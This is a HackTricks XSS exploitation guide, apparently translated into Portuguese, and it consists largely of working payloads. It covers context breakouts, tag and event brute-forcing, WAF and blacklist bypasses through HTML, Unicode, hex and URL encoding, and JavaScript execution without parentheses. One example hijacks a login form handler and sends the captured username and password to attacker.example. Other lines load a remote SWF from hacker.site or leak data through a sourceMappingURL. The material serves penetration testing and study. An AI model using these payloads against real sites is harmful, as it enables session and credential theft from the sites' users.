%.*s
XSS (Cross Site Scripting)
Reading time: 57 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Methodology
- Verifique se qualquer valor que você controla (parameters, path, headers?, cookies?) está sendo refletido no HTML ou usado pelo código JS.
 - Encontre o contexto onde está sendo refletido/usado.
 - Se refletido
 - Verifique quais símbolos você pode usar e, dependendo disso, prepare o payload:
 - Em Raw HTML:
 - Você pode criar novas tags HTML?
 - Você pode usar eventos ou atributos que suportem o protocolo 
javascript:? - Você consegue contornar proteções?
 - O conteúdo HTML está sendo interpretado por algum engine JS do lado cliente (AngularJS, VueJS, Mavo...), você poderia abusar de um Client Side Template Injection.
 - Se você não pode criar tags HTML que executem código JS, poderia abusar de um Dangling Markup - HTML scriptless injection?
 - Dentro de uma tag HTML:
 - Você consegue sair para o contexto Raw HTML?
 - Você pode criar novos eventos/atributos para executar código JS?
 - O atributo no qual você está preso suporta execução de JS?
 - Você consegue contornar proteções?
 - Dentro de código JavaScript:
 - Você consegue escapar a tag 
<script>? - Você consegue escapar a string e executar outro código JS?
 - Seu input está em template literals ``?
 - Você consegue contornar proteções?
 - Função Javascript sendo executada
 - Você pode indicar o nome da função a executar. e.g.: 
?callback=alert(1) - Se usado:
 - Você poderia explorar um DOM XSS, preste atenção em como seu input é controlado e se seu input controlado é usado por algum sink.
 
Quando trabalhar em um XSS complexo pode ser interessante saber sobre:
Reflected values
Para explorar com sucesso um XSS a primeira coisa que você precisa encontrar é um valor controlado por você que esteja sendo refletido na página web.
- Refletido intermitentemente: Se você descobrir que o valor de um parâmetro ou até mesmo do path está sendo refletido na página web, você pode explorar um Reflected XSS.
 - Stored and reflected: Se você encontrar que um valor controlado por você é salvo no servidor e é refletido toda vez que você acessa uma página, você pode explorar um Stored XSS.
 - Accessed via JS: Se você descobrir que um valor controlado por você está sendo acessado via JS, você pode explorar um DOM XSS.
 
Contexts
Ao tentar explorar um XSS a primeira coisa que você precisa saber é onde seu input está sendo refletido. Dependendo do contexto, você será capaz de executar código JS arbitrário de maneiras diferentes.
Raw HTML
Se seu input for refletido no Raw HTML da página você precisará abusar de alguma tag HTML para executar código JS: <img , <iframe , <svg , <script ... estes são apenas alguns das muitas tags HTML possíveis que você poderia usar.
Além disso, lembre-se de Client Side Template Injection.
Inside HTML tags attribute
Se seu input for refletido dentro do valor do atributo de uma tag você pode tentar:
- Escapar do atributo e da tag (então você estará no Raw HTML) e criar nova tag HTML para abusar: 
"><img [...] - Se você pode escapar do atributo mas não da tag (
>está codificado ou removido), dependendo da tag você poderia criar um evento que execute código JS:" autofocus onfocus=alert(1) x=" - Se você não consegue escapar do atributo (
"está sendo codificado ou removido), então dependendo de em qual atributo seu valor está sendo refletido e se você controla todo o valor ou apenas uma parte você poderá abusar dele. Por exemplo, se você controla um evento comoonclick=você poderá fazer com que ele execute código arbitrário quando for clicado. Outro exemplo interessante é o atributohref, onde você pode usar o protocolojavascript:para executar código arbitrário:href="javascript:alert(1)" - Se seu input for refletido dentro de tags não exploráveis você poderia tentar o truque do 
accesskeypara abusar da vuln (você precisará de algum tipo de engenharia social para explorar isso):" accesskey="x" onclick="alert(1)" x=" 
Weird example of Angular executing XSS if you controls a class name:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Dentro do código JavaScript
Neste caso sua entrada é refletida entre <script> [...] </script> tags de uma página HTML, dentro de um arquivo .js ou dentro de um atributo usando o protocolo javascript::
- Se refletida entre 
<script> [...] </script>tags, mesmo que sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar</script>e escapar desse contexto. Isso funciona porque o navegador vai primeiro analisar as tags HTML e depois o conteúdo; portanto, ele não vai perceber que sua tag</script>injetada está dentro do código HTML. - Se refletido dentro de uma string JS e o truque anterior não estiver funcionando, você precisará sair da string, executar seu código e reconstruir o código JS (se houver qualquer erro, ele não será executado:
 '-alert(1)-'';-alert(1)//\';alert(1)//- Se refletido dentro de template literals você pode inserir expressões JS usando a sintaxe 
${ ... }:var greetings = `Hello, ${alert(1)}` - Unicode encode funciona para escrever código javascript válido:
 
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting refere-se à oportunidade de declarar funções, variáveis ou classes depois de serem usadas, permitindo abusar de cenários onde um XSS está usando variáveis ou funções não declaradas.
Consulte a página seguinte para mais informações:
Javascript Function
Várias páginas web têm endpoints que aceitam como parâmetro o nome da função a executar. Um exemplo comum observado em ambientes reais é algo como: ?callback=callbackFunc.
Uma boa forma de descobrir se algo fornecido diretamente pelo usuário está a ser executado é modificar o valor do parâmetro (por exemplo para 'Vulnerable') e verificar no console por erros como:
.png)
Caso seja vulnerável, você pode conseguir disparar um alert simplesmente enviando o valor: ?callback=alert(1). Contudo, é muito comum que esses endpoints validem o conteúdo para permitir apenas letras, números, pontos e underscores ([\w\._]).
No entanto, mesmo com essa limitação ainda é possível executar algumas ações. Isso porque você pode usar esses caracteres válidos para acessar qualquer elemento no DOM:
.png)
Algumas funções úteis para isso:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Você também pode tentar acionar funções Javascript diretamente: obj.sales.delOrders.
No entanto, geralmente os endpoints que executam a função indicada são endpoints sem um DOM muito interessante, outras páginas na mesma origem terão um DOM mais interessante para realizar mais ações.
Portanto, para abusar essa vulnerabilidade em um DOM diferente foi desenvolvido o exploit Same Origin Method Execution (SOME):
SOME - Same Origin Method Execution
DOM
Existe código JS que está usando de forma insegura alguns dados controlados por um atacante como location.href. Um atacante pode abusar disso para executar código JS arbitrário.
Universal XSS
Esse tipo de XSS pode ser encontrado em qualquer lugar. Eles não dependem apenas da exploração no cliente de uma aplicação web, mas de qualquer contexto. Esse tipo de execução arbitrária de JavaScript pode até ser abusado para obter RCE, ler arquivos arbitrários em clientes e servidores, e mais.
Alguns exemplos:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
Quando sua entrada é refletida dentro da página HTML ou você pode escapar e injetar código HTML nesse contexto, a primeira coisa que você precisa fazer é verificar se pode abusar de < para criar novas tags: Basta tentar refletir esse caractere e verificar se está sendo HTML encoded ou deletado ou se é refletido sem alterações. Somente no último caso você poderá explorar esta situação.
Para esses casos também tenha em mente Client Side Template Injection.
Nota: Um comentário HTML pode ser fechado usando****-->****ou **--!>**
Nesse caso, e se não houver black/whitelisting, você pode usar payloads como:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Mas, se estiver a ser usado black/whitelisting de tags/atributos, você precisará brute-force quais tags pode criar.
Uma vez que tenha localizado quais tags são permitidas, será necessário brute-force atributos/eventos dentro das tags válidas encontradas para ver como pode atacar o contexto.
Tags/Eventos brute-force
Vá para https://portswigger.net/web-security/cross-site-scripting/cheat-sheet e clique em Copy tags to clipboard. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi detectada como maliciosa pelo WAF. Uma vez descoberto quais tags você pode usar, você pode brute-force todos os eventos usando as tags válidas (na mesma página clique em Copy events to clipboard e siga o mesmo procedimento de antes).
Tags customizadas
Se você não encontrou nenhuma tag HTML válida, pode tentar criar uma tag customizada e executar código JS com o atributo onfocus. Na requisição XSS, você precisa terminar a URL com # para fazer a página focar nesse objeto e executar o código:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Se algum tipo de blacklist estiver sendo usado, você pode tentar contorná-la com alguns truques simples:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Mais payloads tiny XSS para diferentes ambientes podem ser encontrados aqui e aqui.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
O último está usando 2 caracteres unicode que se expandem para 5: telsr\
Mais desses caracteres podem ser encontrados here.\
Para verificar em quais caracteres são decompostos verifique here.
Click XSS - Clickjacking
Se, para explorar a vulnerabilidade, você precisa que o usuário clique em um link ou em um form com dados pré-populados, você poderia tentar abuse Clickjacking (se a página for vulnerável).
Impossível - Dangling Markup
Se você acha que é impossível criar um HTML tag com um atributo para executar JS code, você deve checar Danglig Markup porque você poderia exploit a vulnerabilidade sem executar JS code.
Injetando dentro do HTML tag
Dentro da tag/escapando do valor do atributo
Se você estiver dentro de um HTML tag, a primeira coisa que você pode tentar é escapar da tag e usar algumas das técnicas mencionadas na previous section para executar JS code.\
Se você não conseguir escapar da tag, você pode criar novos atributos dentro da tag para tentar executar JS code, por exemplo usando um payload como (observe que neste exemplo double quotes são usadas para escapar do attribute, você não precisará delas se seu input for refletido diretamente dentro da tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Eventos de estilo
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Dentro do atributo
Mesmo se você não conseguir escapar do atributo (" está sendo codificado ou removido), dependendo de qual atributo o seu valor está sendo refletido e se você controla todo o valor ou apenas uma parte, você poderá abusar dele. Por exemplo, se você controla um evento como onclick= você poderá fazê-lo executar código arbitrário quando for clicado.\
Outro exemplo interessante é o atributo href, onde você pode usar o protocolo javascript: para executar código arbitrário: href="javascript:alert(1)"
Bypass dentro do evento usando HTML encoding/URL encode
Os HTML encoded characters dentro do valor dos atributos das tags HTML são decoded on runtime. Portanto algo como o seguinte será válido (o payload está em negrito): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Note que qualquer tipo de HTML encode é válido:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Observe que URL encode também funcionará:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass dentro do evento usando Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Protocolos especiais dentro do atributo
Lá você pode usar os protocolos javascript: ou data: em alguns lugares para executar código JS arbitrário. Alguns exigirão interação do usuário, outros não.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Lugares onde você pode injetar esses protocolos
Em geral o protocolo javascript: pode ser usado em qualquer tag que aceite o atributo href e na maioria das tags que aceitam o atributo src (mas não <img)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Outros truques de ofuscação
Neste caso, a codificação HTML e o truque de codificação Unicode da seção anterior também são válidos, pois você está dentro de um atributo.
<a href="javascript:var a=''-alert(1)-''">
Além disso, há outro truque interessante para esses casos: Mesmo que sua entrada dentro de javascript:... esteja sendo codificada na URL, ela será decodificada antes de ser executada. Então, se você precisar escapar da string usando aspas simples e perceber que está sendo codificada na URL, lembre-se que não faz diferença, elas serão interpretadas como aspas simples durante o tempo de execução.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Observe que, se você tentar usar ambos URLencode + HTMLencode em qualquer ordem para codificar o payload, isso não funcionará, mas você pode misturá-los dentro do payload.
Usando Hex e Octal encode com javascript:
Você pode usar Hex e Octal encode dentro do atributo src do iframe (pelo menos) para declarar tags HTML para executar JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Se você puder injetar qualquer URL em uma tag arbitrária <a href= que contenha os atributos target="_blank" and rel="opener", verifique a página a seguir para explorar esse comportamento:
Bypass de "on" Event Handlers
Primeiro verifique esta página (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) para "on" event handlers úteis.
Caso exista alguma blacklist impedindo você de criar esses event handlers, você pode tentar os seguintes bypasses:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS em "Unexploitable tags" (hidden input, link, canonical, meta)
A partir de here agora é possível abusar de hidden inputs com:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
E em meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
A partir de here: Você pode executar um XSS payload inside a hidden attribute, desde que consiga persuadir a victim a pressionar a combinação de teclas. No Firefox em Windows/Linux a combinação de teclas é ALT+SHIFT+X e no OS X é CTRL+ALT+X. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo accesskey. Aqui está o vetor:
<input type="hidden" accesskey="X" onclick="alert(1)">
The XSS payload will be something like this: " accesskey="x" onclick="alert(1)" x="
Bypasses de Blacklist
Vários truques usando diferentes encodings já foram expostos nesta seção. Volte para aprender onde você pode usar:
- HTML encoding (HTML tags)
 - Unicode encoding (can be valid JS code): 
\u0061lert(1) - URL encoding
 - Hex and Octal encoding
 - data encoding
 
Bypasses para HTML tags e atributos
Read the Blacklist Bypasses of the previous section.
Bypasses para JavaScript code
Read the JavaScript bypass blacklist of the following section.
CSS-Gadgets
Se você encontrou um XSS em uma parte muito pequena do site que requer algum tipo de interação (talvez um pequeno link no rodapé com um onmouseover element), você pode tentar modificar o espaço que esse elemento ocupa para maximizar as probabilidades de que o link seja acionado.
Por exemplo, você poderia adicionar algum estilo no elemento como: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Mas, se o WAF está filtrando o atributo style, você pode usar CSS Styling Gadgets, então se você encontrar, por exemplo
.test {display:block; color: blue; width: 100%}
e
#someid {top: 0; font-family: Tahoma;}
Agora você pode modificar nosso link e transformá-lo na forma
<a href="" id=someid class=test onclick=alert() a="">
Este truque foi retirado de https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injetando dentro do código JavaScript
Nesses casos sua entrada será refletida dentro do código JS de um arquivo .js ou entre tags <script>...</script> ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo javascript:.
Escapando da tag <script>
Se seu código é inserido dentro de <script> [...] var input = 'reflected data' [...] </script> você pode facilmente escapar o fechamento da tag <script>:
</script><img src=1 onerror=alert(document.domain)>
Observe que neste exemplo nem sequer fechamos a aspa simples. Isso ocorre porque a análise HTML é executada primeiro pelo navegador, que envolve identificar elementos da página, incluindo blocos de script. A análise do JavaScript para entender e executar os scripts embutidos é realizada apenas depois.
Dentro do código JS
Se <> estiverem sendo sanitizados, você ainda pode escapar a string onde sua entrada está sendo localizada e executar JS arbitrário. É importante corrigir a sintaxe do JS, porque se houver quaisquer erros, o código JS não será executado:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Quando user input cai dentro de uma string JavaScript entre aspas (por exemplo, server-side echo em um inline script), você pode terminar a string, inject code e reparar a sintaxe para manter o parsing válido. Esqueleto genérico:
"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement
Exemplo de padrão de URL quando o parâmetro vulnerável é refletido em uma string JS:
?param=test";<INJECTION>;a="
Isso executa attacker JS sem precisar tocar no contexto HTML (pure JS-in-JS). Combine com blacklist bypasses abaixo quando filtros bloquearem palavras-chave.
Template literals ``
Para construir strings além de aspas simples e duplas o JS também aceita backticks ``. This is known as template literals as they allow to embedded JS expressions using ${ ... } syntax.
Portanto, se você descobrir que sua entrada está sendo reflected dentro de uma JS string que está usando backticks, você pode abusar da sintaxe ${ ... } para executar arbitrary JS code:
Isto pode ser abusado usando:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Execução de código codificado
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Payloads entregáveis com eval(atob()) e nuances de escopo
Para manter as URLs mais curtas e contornar filtros de palavras-chave ingênuos, você pode base64-encodear sua lógica real e avaliá-la com eval(atob('...')). Se um filtro simples de palavras-chave bloquear identificadores como alert, eval ou atob, use identificadores escapados em Unicode que compilam de forma idêntica no navegador, mas evitam os filtros por correspondência de strings:
\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
Sutileza importante de escopo: const/let declarados dentro de eval() têm escopo de bloco e NÃO criam variáveis globais; eles não estarão acessíveis para scripts posteriores. Use um elemento <script> injetado dinamicamente para definir hooks globais, não reatribuíveis, quando necessário (por exemplo, para hijack um form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Referência: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Codificação Unicode para execução de JS
alert(1)
alert(1)
alert(1)
Técnicas de bypass de blacklists em JavaScript
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Escapes especiais
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Substituições de espaços dentro do código JS
<TAB>
/**/
JavaScript comments (do JavaScript Comments truque)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript quebras de linha (do JavaScript new line truque)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript espaços em branco
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript dentro de um comentário
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript sem parênteses
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
 - https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
 
Chamada arbitrária de função (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:
Lá você encontrará uma explicação detalhada do que são DOM vulnerabilities, como são provocadas e como explorá‑las.
Além disso, não esqueça que no final do post mencionado você pode encontrar uma explicação sobre DOM Clobbering attacks.
